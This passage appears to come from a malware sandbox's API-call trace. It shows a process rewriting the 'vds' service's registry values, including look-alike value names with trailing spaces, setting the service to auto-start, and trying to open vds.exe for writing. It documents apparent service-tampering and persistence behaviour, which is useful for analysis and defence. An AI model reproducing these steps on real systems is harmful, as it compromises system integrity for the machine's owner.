0x1c947f8 [0029.698] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.698] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d388 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.698] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.698] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.698] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.698] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.698] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.698] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.699] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.699] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.699] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c945b8) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d328) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94600) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d338) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94648) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d348) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94888) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d358) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d398) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94690) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d388) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1f870) returned 1 [0029.699] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.699] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.699] RegQueryValueExA (in: hKey=0x15c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x10) returned 0x0 [0029.699] RegQueryValueExA (in: hKey=0x15c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c944e0, lpcbData=0x18fb78*=0x10 | out: lpType=0x18fb70*=0x7, lpData=0x1c944e0*, lpcbData=0x18fb78*=0x10) returned 0x0 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d388 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947f8 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d388) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d318) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d630 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0029.700] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0029.700] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0029.701] RegQueryValueExA (in: hKey=0xc8, lpValueName="DependOnService", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x7) returned 0x0 [0029.701] RegQueryValueExA (in: hKey=0xc8, lpValueName="DependOnService", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c94768, lpcbData=0x18fb78*=0x7 | out: lpType=0x18fb70*=0x7, lpData=0x1c94768*, lpcbData=0x18fb78*=0x7) returned 0x0 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947f8 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d678) returned 1 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d678 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.701] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0029.701] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.701] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.702] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x1c94498*, cbData=0x11 | out: lpData=0x1c94498*) returned 0x0 [0029.702] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.702] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0029.702] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0029.702] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d388 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c947f8 [0029.702] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.702] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0029.702] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d398 [0029.702] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94690 [0029.702] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0029.703] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94888 [0029.703] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0029.703] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0029.703] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d328 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0029.703] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c945b8 [0029.703] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.703] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2f8 [0029.703] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0029.703] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\vds.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1d [0029.703] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\vds.exe", lpDst=0x1c94c78, nSize=0x1d | out: lpDst="C:\\Windows\\System32\\vds.exe") returned 0x1c [0029.703] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c948d0) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c945b8, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0029.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c945b8, cbMultiByte=27, lpWideCharStr=0x1c95ea0, cchWideChar=27 | out: lpWideCharStr="C:\\Windows\\System32\\vds.exe") returned 27 [0029.704] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x272988*="C:\\Windows\\System32\\vds.exe" [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2f8 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.704] LocalFree (hMem=0x272988) returned 0x0 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95f28) returned 1 [0029.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\vds.exe", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\vds.exe", cchWideChar=27, lpMultiByteStr=0x1c94c78, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\vds.exe", lpUsedDefaultChar=0x0) returned 27 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c948d0 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c948d0) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95ea0) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2f8) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d678) returned 1 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d678 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0029.704] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0029.704] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.705] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\vds.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\vds.exe") returned 0x0 [0029.705] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.705] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c945b8) returned 1 [0029.705] OpenServiceW (hSCManager=0x286c38, lpServiceName="vds", dwDesiredAccess=0x2) returned 0x286d00 [0029.705] ChangeServiceConfigW (in: hService=0x286d00, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0029.727] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d318) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d678) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.727] RegCloseKey (hKey=0x15c) returned 0x0 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95d90) returned 1 [0029.727] RegCloseKey (hKey=0xc8) returned 0x0 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c943c0) returned 1 [0029.727] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94378) returned 1 [0029.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84a159cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82400)) returned 1 [0029.728] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0029.728] GetLastError () returned 0x5 [0029.728] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95d90 [0029.728] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.728] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95ea0 [0029.728] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c96e98 [0029.728] RtlAllocateHeap (HeapHandle=0x2330000, 